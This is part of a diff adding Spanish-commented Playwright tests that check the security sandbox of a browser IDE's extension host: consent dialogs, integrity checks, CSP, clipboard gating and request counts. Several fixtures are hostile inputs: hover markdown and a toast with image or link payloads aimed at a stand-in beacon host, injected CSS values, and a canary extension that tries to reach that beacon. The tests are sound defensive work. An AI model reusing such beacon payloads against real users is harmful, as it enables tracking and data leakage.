255+ok('M19 «Funciona en Code»: fuera la de Node; quedan la del tema y la de código para navegador', !!filtered && !filtered.ids.includes('elffuss-test.nodeonly'), JSON.stringify(filtered));
256+ok('M19b con el filtro se avisa de que Open VSX ve esas consultas', await page.isVisible('#ext-works-note'));
257+// el consentimiento cabe en un teléfono
258+await page.setViewportSize({ width: 390, height: 844 });
259+await row('elffuss-test.nohash').locator('.ext-install-code').click();
260+const fit = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-consent [role="dialog"]'); if (!d) return null; const r = d.getBoundingClientRect(); const b = [...d.querySelectorAll('button')].map(x => x.getBoundingClientRect()); return { left: r.left, right: r.right, w: window.innerWidth, sw: document.documentElement.scrollWidth, buttonsIn: b.every(x => x.left >= 0 && x.right <= window.innerWidth) }; }));
261+ok('M19c a 390 px el consentimiento cabe, con sus botones', !!fit && fit.left >= 0 && fit.right <= fit.w && fit.sw <= fit.w && fit.buttonsIn, JSON.stringify(fit));
262+await page.keyboard.press('Escape');
263+await page.setViewportSize({ width: 1280, height: 860 });
264+await sleep(300);
265+await row('elffuss-test.nohash').locator('.ext-install-code').click();
266+await until(() => page.evaluate(() => !!document.querySelector('#x2-consent')));
267+await page.click('#x2-consent button:has-text("Install and run code")');
268+const nosha = await until(async () => { const t = await page.textContent('#ext-msg'); return /publishes no SHA-256/.test(t) ? t : null; });
269+ok('M20 sin suma SHA-256 publicada, su código no se instala (y ni se baja)', !!nosha && (await page.getAttribute('#ext-msg', 'role')) === 'alert' && !mock.downloads().some(d => d.includes('nohash'))
270+ && (await installed('elffuss-test.nohash').count()) === 0, String(nosha));
271+await page.click('#ext-works');
272+await until(async () => (await page.locator('#ext-results .ext-row').count()) === 3);
273+await row('elffuss-test.nodeonly').locator('.ext-name').click();
274+const det3 = await until(async () => { const t = await row('elffuss-test.nodeonly').locator('.ext-detail').innerText(); return /Needs Node/.test(t) ? t : null; });
275+ok('M21 la de Node dice que no está disponible en el navegador, sin botón de ejecutar', !!det3 && (await row('elffuss-test.nodeonly').locator('.ext-install-code').count()) === 0, det3);
276+
277+// ── M23: instalar un .vsix suelto que solo trae código ──
278+await page.setInputFiles('#ext-file', { name: 'sort-lines.vsix', mimeType: 'application/zip', buffer: packages[0].vsix });
279+const fileConsent = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-consent [role="dialog"]'); return d ? d.textContent : null; }));
280+ok('M23 un .vsix con solo código pide el consentimiento y dice que no hay suma publicada', !!fileConsent && /From a \.vsix file: there is no published SHA-256/.test(fileConsent), String(fileConsent).slice(0, 160));
281+await page.click('#x2-consent button:has-text("Install and run code")');
282+ok('M23b instalada desde el fichero con su código, y en marcha', !!(await until(async () => { const s = await codeState('tyriar.sort-lines'); return s === 'running' || s === 'ready (starts when first used)'; }, { timeout: 90000 })));
283+await installed('tyriar.sort-lines').locator('.ext-uninstall').click();
284+await until(async () => (await installed('tyriar.sort-lines').count()) === 0);
285+
286+// ── M22: privacidad ──
287+await sleep(500);
288+const fromSandbox = mock.log.filter(r => !r.frame.startsWith(srv.codeOrigin));
289+ok('M22 a Open VSX solo le habla la página de Code (ninguna petición del recinto)', mock.log.length > 0 && fromSandbox.length === 0, JSON.stringify(fromSandbox.slice(0, 3)));
290+const sbx = [...new Set(srv.requests.filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]))];
291+ok('M22b del recinto solo sus dos documentos', sbx.every(u => u === '/x2/v1/sandbox.html' || u === '/x2/v1/exthost-iframe.html'), sbx.join(' '));
292+ok('M22c baliza: 0 visitas', beacon.hits.length === 0, JSON.stringify(beacon.hits.slice(0, 3)));
293+ok('M22d sin errores de página', errors.length === 0, errors.slice(0, 3).join(' | '));
294+
295+await browser.close();
296+await beacon.close();
297+await srv.close();
298+console.log(fails ? `\n❌ ${fails} failed` : '\n✅ all passed');
299+process.exit(fails ? 1 : 0);
added tests/x2_smoke.mjs +495 −0
@@ -0,0 +1,495 @@
1+// Nivel 2 (código de extensiones en un recinto aparte): prueba de aceptación
2+// de la parte B1.
3+//
4+// node tests/x2_smoke.mjs (arranca su propio servidor: tests/lib/x2-server.mjs)
5+// node tests/x2_smoke.mjs --update (reescribe la foto tests/x2-surface.json)
6+//
7+// A. Camino por defecto: sin extensiones, con solo nivel 1 y con una
8+// extensión de código instalada pero apagada, NO se pide nada del nivel 2.
9+// B. Encender: el tamaño se enseña ANTES de bajar nada; cancelar no baja nada.
10+// C. Con extensiones sintéticas: arranque en el otro sitio, integridad (cada
11+// fichero una vez), comandos (API de la paleta, F1, atajo F9, atajos
12+// reservados), formateo, hover sin imágenes ni enlaces, símbolos (Ir a
13+// símbolo), diagnósticos, activeTextEditor definido, el agente sigue
14+// escribiendo, Cmd+P/Cmd+S/Ctrl+` de Code siguen siendo de Code, canario
15+// básico a 0 visitas, foto de la superficie de la API, y del recinto solo se
16+// piden sus dos documentos.
17+// D. Bundle manipulado: se niega, sin iframe.
18+// E. ?noext2, ?noext y el interruptor del manifiesto: 0 peticiones del nivel 2.
19+// F. Apagar la última extensión de código desmonta el recinto y lo que puso.
20+// G. Controles positivos: sin ninguna CSP el recinto no arranca (autoprueba);
21+// sin la del host de extensiones, el mismo canario SÍ llega a la baliza.
22+import fs from 'node:fs';
23+import path from 'node:path';
24+import { fileURLToPath } from 'node:url';
25+import { chromium } from 'playwright';
26+import { startServer } from './lib/x2-server.mjs';
27+import { startBeacon } from './lib/beacon.mjs';
28+import { seed, recordFor, SORT, FMT, HOVER, SYM, DIAG, DECO, UI, DENY, NOOP, CANARY } from './lib/x2-fixtures.mjs';
29+
30+const HERE = path.dirname(fileURLToPath(import.meta.url));
31+const UPDATE = process.argv.includes('--update');
32+const MOD = process.platform === 'darwin' ? 'Meta' : 'Control';
33+let fails = 0, lastStep = 'start';
34+const ok = (name, c, extra = '') => { lastStep = name.split(' ')[0]; console.log((c ? '✅' : '❌') + ' ' + name + (extra ? ' — ' + extra : '')); if (!c) fails++; };
35+const sleep = ms => new Promise(r => setTimeout(r, ms));
36+async function until(fn, { timeout = 20000, every = 150 } = {}) {
37+ const end = Date.now() + timeout;
38+ let v;
39+ while (Date.now() < end) { try { v = await fn(); if (v) return v; } catch { /* reintenta */ } await sleep(every); }
40+ return v;
41+}
42+const L2 = u => /\/vendor\/x2\/|\/js\/ext2\//.test(u);
43+
44+const srv = await startServer();
45+const beacon = await startBeacon();
46+const browser = await chromium.launch({ args: [`--host-resolver-rules=${beacon.resolverRules}`] });
47+const manifest = JSON.parse(fs.readFileSync(path.join(HERE, '../web/js/ext2/vendor-manifest.json'), 'utf8'));
48+
49+async function freshPage(server = srv) {
50+ const ctx = await browser.newContext({ permissions: ['clipboard-read', 'clipboard-write'] });
51+ await ctx.addInitScript(() => { try { localStorage.setItem('elffusscode.model', 'rules'); localStorage.setItem('elffusscode.ext.onlyWorks', '0'); } catch { /* — */ } });
52+ const page = await ctx.newPage();
53+ const requests = [];
54+ const errors = [];
55+ ctx.on('request', r => requests.push(r.url()));
56+ page.on('pageerror', e => { if (e.message !== 'Canceled') errors.push(String(e.message) + ' @ ' + String(e.stack || '').slice(0, 300) + ' (after ' + lastStep + ')'); });
57+ await page.goto(server.codeOrigin + '/', { waitUntil: 'domcontentloaded' });
58+ await page.evaluate(async () => {
59+ const o = await navigator.storage.getDirectory();
60+ const w = async (n, t) => { const f = await o.getFileHandle(n, { create: true }); const s = await f.createWritable(); await s.write(t); await s.close(); };
61+ await w('app.js', 'function zeta() {}\nfunction alpha() {}\n// TODO fix\nconst a = 1;\n');
62+ await w('fruits.txt', 'pear\napple\nfig\n');
63+ await w('page.html', '<p id="z">z</p>\n<p id="a">a</p>\n');
64+ await w('bad.js', 'let q = ;\n');
65+ });
66+ return { ctx, page, requests, errors };
67+}
68+const openIde = async (page, server = srv, query = '?test-opfs') => {
69+ await page.goto(server.codeOrigin + '/' + query, { waitUntil: 'domcontentloaded' });
70+ await page.waitForFunction(() => !!window.monaco?.editor?.getEditors?.().length, null, { timeout: 30000 });
71+};
72+const open = (page, p) => page.evaluate(async p => { await (await import('/js/ide.js')).openFile(p); }, p);
73+const value = page => page.evaluate(() => window.monaco.editor.getEditors()[0].getModel().getValue());
74+const bridgeState = page => page.evaluate(async () => (await import('/js/ext2/bridge.js')).state());
75+const waitRunning = page => until(async () => { const s = await bridgeState(page); return s.state === 'running' || s.state === 'error' ? s : null; }, { timeout: 60000 });
76+const sandboxRequests = (server, since = 0) => server.requests.slice(since).filter(r => r.host.startsWith('localhost:')).map(r => r.url.split('?')[0]);
77+
78+// Lo que pide la extensión UI, contestado como lo haría una persona: un clic
79+// en «Yes», Escape en el modal, «b» en el selector, dos marcadas en el de
80+// varios, y un texto que la validación rechaza antes del bueno.
81+async function uiFlow(page) {
82+ await page.evaluate(() => { window.__x2ask = import('/js/ext2/bridge.js').then(b => b.runCommand('x2ui.ask')); });
83+ const toast = await until(() => page.evaluate(() => {
84+ const t = [...document.querySelectorAll('#x2-toasts .x2-toast')].find(x => x.textContent.includes('x2 asks'));
85+ return t ? { text: t.querySelector('.x2-toast-text').textContent, from: t.querySelector('.x2-toast-from').textContent, els: t.querySelectorAll('.x2-toast-text *').length, buttons: [...t.querySelectorAll('.x2-toast-buttons button')].map(b => b.textContent) } : null;
86+ }));
87+ ok('U1 aviso con botones: el HTML y el enlace quedan en texto; dice qué extensión pide', !!toast && toast.text === 'x2 asks <b>bold</b> [link](https://toast.beacon.test/t)' && toast.els === 0
88+ && toast.from.includes('X2 ui') && toast.buttons.includes('Yes') && toast.buttons.includes('No'), JSON.stringify(toast));
89+ await page.click('#x2-toasts .x2-toast .x2-toast-buttons button:has-text("Yes")');
90+ const dlg = await until(() => page.evaluate(() => {
91+ const d = document.querySelector('#x2-dialog [role="dialog"]');
92+ return d ? { modal: d.getAttribute('aria-modal'), text: d.textContent, focused: document.activeElement?.textContent, buttons: [...d.querySelectorAll('button')].map(b => b.textContent) } : null;
93+ }));
94+ ok('U2 aviso modal: diálogo con su detalle; el foco empieza en Cancelar', !!dlg && dlg.modal === 'true' && dlg.text.includes('x2 modal') && dlg.text.includes('x2 detail')
95+ && dlg.buttons.join() === 'OK,Cancel' && dlg.focused === 'Cancel', JSON.stringify(dlg));
96+ await page.keyboard.press('Escape');
97+ const pick = await until(() => page.evaluate(() => {
98+ const p = document.getElementById('x2-pick');
99+ return p && !p.classList.contains('x2-inputbox') ? { items: [...p.querySelectorAll('.x2-pick-item .x2-pick-label')].map(x => x.textContent), ph: p.querySelector('input').placeholder, role: p.querySelector('input').getAttribute('role') } : null;
100+ }));
101+ ok('U3 selector: sus opciones como texto, combobox con su lista', !!pick && pick.items.join() === 'a,b,c' && pick.ph === 'x2 pick' && pick.role === 'combobox', JSON.stringify(pick));
102+ await page.keyboard.type('b');
103+ await page.keyboard.press('Enter');
104+ const many = await until(() => page.evaluate(() => {
105+ const p = document.getElementById('x2-pick');
106+ const rows = p ? [...p.querySelectorAll('.x2-pick-item')] : [];
107+ return rows.length === 3 ? rows.map(r => [r.querySelector('.x2-pick-label').textContent, r.getAttribute('aria-checked')]) : null;
108+ }));
109+ ok('U4 selector de varios: la marcada de antemano llega marcada', !!many && JSON.stringify(many) === JSON.stringify([['one', 'false'], ['two', 'true'], ['three', 'false']]), JSON.stringify(many));
110+ await page.click('#x2-pick .x2-pick-item:has-text("three")');
111+ await page.click('#x2-pick .x2-pick-foot .x2-primary');
112+ await until(() => page.evaluate(() => !!document.querySelector('#x2-input input')));
113+ await page.keyboard.type('bad');
114+ await page.keyboard.press('Enter');
115+ const invalid = await until(() => page.evaluate(() => { const e = document.querySelector('#x2-input .x2-input-error'); return e && !e.hidden ? e.textContent : null; }));
116+ ok('U5 cuadro de texto: la validación de la extensión se enseña y se vuelve a pedir', invalid === 'x2 not that', String(invalid));
117+ await page.fill('#x2-input input', 'good');
118+ await page.keyboard.press('Enter');
119+ const res = JSON.parse(await page.evaluate(() => window.__x2ask) || '{}');
120+ ok('U6 la extensión recibe lo elegido: Yes, nada (Escape), b, [two, three], good', res.info === 'Yes' && res.modal === undefined && res.pick === 'b'
121+ && JSON.stringify(res.many) === '["two","three"]' && res.input === 'good', JSON.stringify(res));
122+ // progreso en la barra de estado
123+ await page.evaluate(() => { window.__x2prog = import('/js/ext2/bridge.js').then(b => b.runCommand('x2ui.progress')); });
124+ const prog = await until(() => page.evaluate(() => { const p = document.getElementById('x2-progress'); return p && p.textContent.includes('half') ? p.textContent : null; }));
125+ ok('U7 progreso de la extensión en la barra de estado', !!prog && prog.includes('x2 working: half'), String(prog));
126+ await page.evaluate(() => window.__x2prog);
127+ ok('U8 y se va al terminar', !!(await until(() => page.evaluate(() => !document.getElementById('x2-progress')))));
128+}
129+
130+// ── A. camino por defecto ──
131+{
132+ const { ctx, page, requests } = await freshPage();
133+ const since = srv.requests.length;
134+ requests.length = 0;
135+ await openIde(page);
136+ await open(page, 'app.js');
137+ await sleep(800);
138+ ok('A1 sin extensiones: 0 peticiones del nivel 2 y 0 al recinto', !requests.some(L2) && sandboxRequests(srv, since).length === 0, requests.filter(L2).join(' '));
139+
140+ // A2: solo nivel 1 (una extensión activa sin código)
141+ const lvl1 = recordFor(NOOP, { runs: false });
142+ delete lvl1.rec.code;
143+ await page.evaluate(async rec => { const store = await import('/js/ext/store.js'); await store.put(rec, new Map()); }, lvl1.rec);
144+ requests.length = 0;
145+ await openIde(page);
146+ await open(page, 'app.js');
147+ await sleep(800);
148+ ok('A2 solo nivel 1: carga js/ext/host.js y nada del nivel 2', requests.some(u => u.includes('/js/ext/host.js')) && !requests.some(L2), requests.filter(L2).join(' '));
149+
150+ // A3: una extensión de código instalada con su código apagado
151+ await seed(page, [SORT], { runs: false });
152+ requests.length = 0;
153+ const since3 = srv.requests.length;
154+ await openIde(page);
155+ await open(page, 'app.js');
156+ await sleep(800);
157+ ok('A3 extensión de código apagada: 0 peticiones del nivel 2', !requests.some(L2) && sandboxRequests(srv, since3).length === 0, requests.filter(L2).join(' '));
158+
159+ // ── B. encender enseña el tamaño ANTES de bajar nada ──
160+ requests.length = 0;
161+ const cancel = await page.evaluate(async () => {
162+ const host = await (await import('/js/ide.js')).loadExt();
163+ let info = null;
164+ const r = await host.setRuns('elffuss-test.sort', true, { confirm: i => { info = i; return false; } });
165+ return { r, info };
166+ });
167+ ok('B1 el diálogo recibe el tamaño del bundle (los .gz del manifiesto)', cancel.info && cancel.info.runtimeBytes === manifest.totalGz && cancel.info.runtimeBytes > 1e6, JSON.stringify(cancel.info));
168+ ok('B2 cancelar: no se enciende y no se baja el bundle', cancel.r === false && !requests.some(u => u.includes('/vendor/x2/')), requests.filter(L2).join(' '));
169+ const kvRuns = await page.evaluate(async () => (await (await import('/js/db.js')).get('kv', 'extensions')).find(e => e.id === 'elffuss-test.sort')?.runs);
170+ ok('B3 cancelar deja runs:false en kv', kvRuns === false);
171+ const since4 = srv.requests.length;
172+ requests.length = 0;
173+ const yes = await page.evaluate(async () => { const host = await (await import('/js/ide.js')).loadExt(); return host.setRuns('elffuss-test.sort', true, { confirm: () => true }); });
174+ const s1 = await waitRunning(page);
175+ ok('B4 aceptar: el recinto arranca sin recargar', yes === true && s1?.state === 'running', JSON.stringify(s1?.error));
176+ const vendorReqs = requests.filter(u => u.includes('/vendor/x2/'));
177+ ok('B5 cada fichero del bundle se pide una vez, del buildId del manifiesto', vendorReqs.length === 3 && manifest.files.every(f => vendorReqs.filter(u => u.endsWith(`/vendor/x2/${manifest.buildId}/${f.name}.gz`)).length === 1), vendorReqs.join(' '));
178+ ok('B6 del recinto solo sus dos documentos', JSON.stringify([...new Set(sandboxRequests(srv, since4))].sort()) === JSON.stringify(['/x2/v1/exthost-iframe.html', '/x2/v1/sandbox.html']), sandboxRequests(srv, since4).join(' '));
179+ await ctx.close();
180+}
181+
182+// ── C. extensiones sintéticas ──
183+{
184+ const { ctx, page, requests, errors } = await freshPage();
185+ await seed(page, [SORT, FMT, HOVER, SYM, DIAG, DECO, UI, DENY, NOOP, CANARY]);
186+ const since = srv.requests.length;
187+ requests.length = 0;
188+ await openIde(page);
189+ await open(page, 'app.js');
190+ const s = await waitRunning(page);
191+ ok('C1 arranca solo con extensiones de código encendidas', s?.state === 'running', JSON.stringify(s?.error));
192+ const st = await until(async () => { const x = await bridgeState(page); return x.extensions.filter(e => e.state === 'active').length >= 4 ? x : null; }, { timeout: 30000 });
193+ ok('C2 las extensiones arrancan en el recinto sin errores', st && !st.extensions.some(e => e.state === 'error'), JSON.stringify(st?.extensions.map(e => [e.id, e.state, e.text])));
194+ // portapapeles: se lee vacío; escribir solo con un gesto reciente. (Cada
195+ // page.evaluate de Playwright cuenta como gesto, así que la escritura «sin
196+ // gesto» se lanza desde la página pasados 6 s, cuando ya caducó.)
197+ const ui0 = await until(async () => { const x = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2ui.report')); return x ? JSON.parse(x) : null; }, { timeout: 30000 });
198+ await page.evaluate(() => { setTimeout(() => import('/js/ext2/bridge.js').then(b => b.runCommand('x2ui.clip')), 6000); });
199+ await sleep(6500);
200+ const uiSt = await until(async () => { const s = await bridgeState(page); return s.ui?.dropped?.clipboard ? s : null; }, { timeout: 10000 });
201+ const clipNoGesture = await page.evaluate(() => navigator.clipboard.readText().catch(e => 'ERR ' + e.message));
202+ ok('C2b portapapeles: se lee vacío y escribir sin gesto se descarta', !!ui0 && ui0.clipboardRead === '' && uiSt?.ui.dropped.clipboard === 1 && clipNoGesture !== 'x2 clipboard 1', JSON.stringify({ ui0, dropped: uiSt?.ui?.dropped, clipNoGesture }));
203+ await page.click('#statusbar');
204+ await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2ui.clip'));
205+ const clipGesture = await until(() => page.evaluate(() => navigator.clipboard.readText().then(t => (t === 'x2 clipboard 2' ? t : null)).catch(() => null)), { timeout: 5000 });
206+ ok('C2c control positivo: con un gesto reciente, sí se escribe', clipGesture === 'x2 clipboard 2', String(clipGesture));
207+ await uiFlow(page);
208+ ok('C3 iframe del recinto en el otro sitio, invisible y sin foco', await page.evaluate(o => { const f = document.getElementById('x2-sandbox'); return !!f && f.src.startsWith(o) && f.getAttribute('sandbox') === 'allow-scripts allow-same-origin' && f.inert && f.getAttribute('allow') === '' && getComputedStyle(f).opacity === '0'; }, srv.sandboxOrigin));
209+ ok('C4 el recinto no es del sitio de Code', new URL(srv.sandboxOrigin).hostname !== new URL(srv.codeOrigin).hostname);
210+
211+ // diagnósticos
212+ const marks = await until(() => page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; const m = window.monaco.editor.getModelMarkers({ resource: ed.getModel().uri }).filter(x => x.owner.startsWith('x2:')); return m.length ? m.map(x => ({ owner: x.owner, message: x.message, code: x.code, line: x.startLineNumber })) : null; }));
213+ ok('C5 diagnósticos de la extensión: texto plano, sin destino del código', marks && marks[0].owner === 'x2:x2diag' && marks[0].message === 'x2: TODO found x' && marks[0].code === 'X2001' && marks[0].line === 3, JSON.stringify(marks));
214+
215+ // decoraciones: lo válido llega, lo hostil se queda fuera
216+ const deco = await until(() => page.evaluate(() => {
217+ const ed = window.monaco.editor.getEditors()[0];
218+ const ds = ed.getModel().getAllDecorations().filter(d => d.options.description === 'x2-extension-decoration');
219+ const style = document.getElementById('x2-deco')?.textContent || '';
220+ const view = document.querySelector('#editor .view-lines')?.textContent || '';
221+ return ds.length && view.includes('x2deco>') ? { n: ds.length, line: ds[0].range.startLineNumber, cls: ds[0].options.className, inline: ds[0].options.inlineClassName, before: ds[0].options.before?.content, ruler: ds[0].options.overviewRuler?.color, style } : null;
222+ }));
223+ ok('C5b decoraciones de la extensión en el editor de Code, con su texto «antes» como texto', !!deco && deco.line === 3 && deco.before === 'x2deco>' && !!deco.cls && !!deco.inline && deco.ruler === 'red', JSON.stringify(deco));
224+ ok('C5c su CSS sale de la lista blanca: colores y márgenes sí; url(), fontFamily y los valores inyectados no', !!deco && !/url\(|beacon|font-family|;\s*background|cursor/.test(deco.style)
225+ && /background-color: rgba\(255, 0, 0, 0\.25\);/.test(deco.style) && /color: var\(--vscode-editorError-foreground\);/.test(deco.style) && /margin: 0 4px 0 0;/.test(deco.style)
226+ && /\.monaco-editor\.vs-dark \.x2d-\d+[^{]*\{ background-color: #0000ff33; \}/.test(deco.style), deco?.style);
227+ // los diagnósticos de la página (el TS de Monaco) llegan a las extensiones
228+ await open(page, 'bad.js');
229+ const pageDiag = await until(async () => {
230+ const r = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2diag.pageMarkers'));
231+ const a = r ? JSON.parse(r) : [];
232+ return a.some(x => /expected/i.test(x)) ? a : null;
233+ }, { timeout: 30000 });
234+ ok('C5d las extensiones ven los diagnósticos de la propia página (TS de Monaco)', !!pageDiag, JSON.stringify(pageDiag));
235+ await open(page, 'app.js');
236+
237+ // formateo (Format Document) y un solo paso de deshacer
238+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
239+ // el formateador de la extensión junta también los espacios del comentario;
240+ // el de JavaScript de Monaco no toca los comentarios
241+ const formatted = await until(async () => { const v = await value(page); return v.includes('// TODO fix') && v.includes('const a = 1;') ? v : null; });
242+ ok('C6 Format Document usa el formateador de la extensión', !!formatted, JSON.stringify(await value(page)));
243+ await page.evaluate(() => window.monaco.editor.getEditors()[0].trigger('t', 'undo'));
244+ ok('C7 deshacer el formateo es un solo paso', (await value(page)).includes('// TODO fix\nconst a = 1;'));
245+ await page.evaluate(() => window.monaco.editor.getEditors()[0].trigger('t', 'redo'));
246+
247+ // hover hostil
248+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setPosition({ lineNumber: 1, column: 12 }); ed.focus(); ed.trigger('t', 'editor.action.showHover', {}); });
249+ const hover = await until(() => page.evaluate(() => { const h = [...document.querySelectorAll('.monaco-hover:not(.hidden)')].find(x => x.textContent.includes('x2 hover')); return h ? { text: h.textContent, imgs: h.querySelectorAll('img').length, links: h.querySelectorAll('a[href]').length } : null; }));
250+ ok('C8 hover: el markdown hostil sale como texto, sin <img> ni enlaces', hover && hover.imgs === 0 && hover.links === 0 && hover.text.includes('![img](http://beacon.test/hover.png)'), JSON.stringify(hover));
251+ await page.keyboard.press('Escape');
252+
253+ // símbolos: Ir a símbolo (Cmd+Shift+O y «@» de la paleta usan quickOutline)
254+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.quickOutline').run(); });
255+ const outline = await until(() => page.evaluate(() => { const r = [...document.querySelectorAll('.quick-input-list .monaco-list-row')].map(x => x.textContent); return r.some(t => t.includes('x2:zeta')) ? r : null; }));
256+ ok('C9 Ir a símbolo incluye los símbolos de la extensión', !!outline, JSON.stringify(outline));
257+ await page.keyboard.press('Escape');
258+
259+ // comandos: API de la paleta, F1, atajo y reservados
260+ await open(page, 'fruits.txt');
261+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 3, endColumn: 4 }); });
262+ const entries = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).commands().map(e => ({ id: e.id, label: e.label, hint: e.hint })));
263+ ok('C10 entradas para la paleta de Code', entries.some(e => e.label === 'X2: Sort Lines (fixture)' && e.hint === 'X2 sort') && entries.some(e => e.label === 'X2: Hello (fixture)'), JSON.stringify(entries));
264+ const live = await page.evaluate(() => (window.elffussClaw?.commands || []).filter(c => c.x2).map(c => ({ label: c.label, hint: c.hint })));
265+ ok('C10b están en la lista viva de la paleta (window.elffussClaw.commands)', live.some(e => e.label === 'X2: Sort Lines (fixture)' && e.hint === 'X2 sort'), JSON.stringify(live));
266+ const ran = await page.evaluate(async () => { await new Promise(r => setTimeout(r, 200)); const e = (await import('/js/ext2/bridge.js')).commands().find(x => x.id === 'x2sort.sortLines'); return e.run(); });
267+ ok('C11 el comando corre con activeTextEditor definido', ran === 'sorted:3', JSON.stringify(ran));
268+ ok('C12 el texto queda ordenado y la pestaña sin guardar', await until(async () => (await value(page)) === 'apple\nfig\npear\n') && await page.evaluate(() => !!document.querySelector('#tabs-bar .tab.active .tab-x')?.classList.contains('dirty')));
269+ await page.evaluate(() => window.monaco.editor.getEditors()[0].focus());
270+ await page.keyboard.press(`${MOD}+s`);
271+ const saved = await until(() => page.evaluate(async () => { const o = await navigator.storage.getDirectory(); const t = await (await (await o.getFileHandle('fruits.txt')).getFile()).text(); return t === 'apple\nfig\npear\n' ? t : null; }));
272+ ok('C13 Cmd+S guarda por el camino de siempre (code.write)', !!saved);
273+ const f1 = await page.evaluate(() => window.monaco.editor.getEditors()[0].getSupportedActions().filter(a => /:x2:/.test(a.id)).map(a => a.label));
274+ ok('C14 los comandos salen en F1', f1.includes('X2: Sort Lines (fixture)') && f1.includes('X2: Hello (fixture)'), JSON.stringify(f1));
275+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.getModel().setValue('zz\nyy\nxx\n'); ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 3, endColumn: 3 }); ed.focus(); });
276+ await sleep(200);
277+ await page.keyboard.press('F9');
278+ ok('C15 el atajo F9 de la extensión funciona con el foco en el editor', !!(await until(async () => (await value(page)) === 'xx\nyy\nzz\n')));
279+ // desde la paleta de Code («>»): la fila lleva el nombre de la extensión y al
280+ // elegirla se cierra la paleta y el comando actúa sobre el editor
281+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.getModel().setValue('b\na\n'); ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 2, endColumn: 2 }); });
282+ await page.evaluate(() => document.dispatchEvent(new KeyboardEvent('keydown', { key: 'p', ctrlKey: true, shiftKey: true, bubbles: true })));
283+ await page.fill('#pal-input', '>sort lines (fixture)');
284+ const row = await until(() => page.evaluate(() => { const r = [...document.querySelectorAll('#pal-list .pal-item')]; return r.length === 1 ? [r[0].querySelector('.pi-name').textContent, r[0].querySelector('.pi-hint').textContent] : null; }));
285+ ok('C15b la paleta de Code lista el comando con el nombre de la extensión', !!row && row[0] === 'X2: Sort Lines (fixture)' && row[1] === 'X2 sort', JSON.stringify(row));
286+ await page.keyboard.press('Enter');
287+ ok('C15c elegirlo en la paleta la cierra y ordena el editor', !!(await until(async () => (await value(page)) === 'a\nb\n')) && await page.evaluate(() => document.getElementById('palette').hidden), JSON.stringify(await value(page)));
288+ const skipped = await page.evaluate(async () => (await import('/js/ext2/bridge.js')).state().extensions.find(e => e.id === 'elffuss-test.sort').log.map(l => l.text).join(' | '));
289+ ok('C16 el atajo reservado Cmd/Ctrl+P de la extensión se salta y se informa', /reserved/.test(skipped), skipped);
290+ await page.evaluate(() => window.monaco.editor.getEditors()[0].focus());
291+ await page.keyboard.press(`${MOD}+p`);
292+ ok('C17 Cmd+P con el foco en el editor abre la paleta de Code', !!(await until(() => page.evaluate(() => !document.getElementById('palette').hidden))));
293+ await page.keyboard.press('Escape');
294+ await page.evaluate(() => window.monaco.editor.getEditors()[0].focus());
295+ await page.keyboard.press('Control+`');
296+ ok('C18 Ctrl+` sigue abriendo el terminal de Code', !!(await until(() => page.evaluate(() => !document.getElementById('terminal-panel').hidden), { timeout: 5000 })));
297+ await page.evaluate(() => { document.getElementById('terminal-panel').hidden = true; });
298+
299+ // el agente escribe: el editor se actualiza y el recinto sigue al día
300+ await open(page, 'app.js');
301+ await page.evaluate(async () => { const { TOOLS } = await import('/js/tools/index.js'); await TOOLS['code.write'].run({ path: 'app.js', content: 'function beta() {}\n// b c\nlet b = 2;\n' }); });
302+ ok('C19 code.write del agente sigue reflejándose en el editor', !!(await until(async () => (await value(page)) === 'function beta() {}\n// b c\nlet b = 2;\n')));
303+ await page.evaluate(async () => { const ed = window.monaco.editor.getEditors()[0]; ed.focus(); await ed.getAction('editor.action.formatDocument').run(); });
304+ ok('C20 tras escribir el agente, la extensión trabaja sobre el texto nuevo', !!(await until(async () => (await value(page)) === 'function beta() {}\n// b c\nlet b = 2;\n')), JSON.stringify(await value(page)));
305+ const readBack = await page.evaluate(async () => (await import('/js/tools/code.js')).read({ path: 'app.js' }));
306+ ok('C21 code.read lee el fichero, no el editor', readBack === 'function beta() {}\n// b c\nlet b = 2;\n');
307+
308+ // ── H. puertas: vista previa de un fichero tocado, el agente, enlaces del editor ──
309+ beacon.hits.length = 0;
310+ await open(page, 'page.html');
311+ await page.evaluate(() => { const ed = window.monaco.editor.getEditors()[0]; ed.setSelection({ startLineNumber: 1, startColumn: 1, endLineNumber: 2, endColumn: 17 }); });
312+ await page.evaluate(async () => (await import('/js/ext2/bridge.js')).runCommand('x2sort.sortLines'));
313+ const marked = await until(() => page.evaluate(async () => ((await (await import('/js/db.js')).get('kv', 'x2.touched')) || {})['page.html'] === true));
314+ ok('H1 el texto de una extensión marca el fichero (kv x2.touched)', !!marked);
315+ // el menú sigue el idioma del navegador desde 7d5e790: se busca en los dos
316+ const previewVia = async (label = /^(Vista previa|Preview)$/) => {
317+ await page.click('#tabs-bar .tab.active', { button: 'right' });
318+ await page.locator('#tab-menu .tm-item').filter({ hasText: label }).click();
319+ };
320+ await previewVia();
321+ const gateDlg = await until(() => page.evaluate(() => { const d = document.querySelector('#x2-preview [role="dialog"]'); return d ? { text: d.textContent, focused: document.activeElement?.textContent } : null; }));
322+ ok('H2 la vista previa de un fichero tocado pregunta antes (Cancelar por defecto)', !!gateDlg && gateDlg.text.includes('page.html') && gateDlg.focused === 'Cancel', JSON.stringify(gateDlg));
323+ await page.keyboard.press('Escape');
324+ await sleep(300);
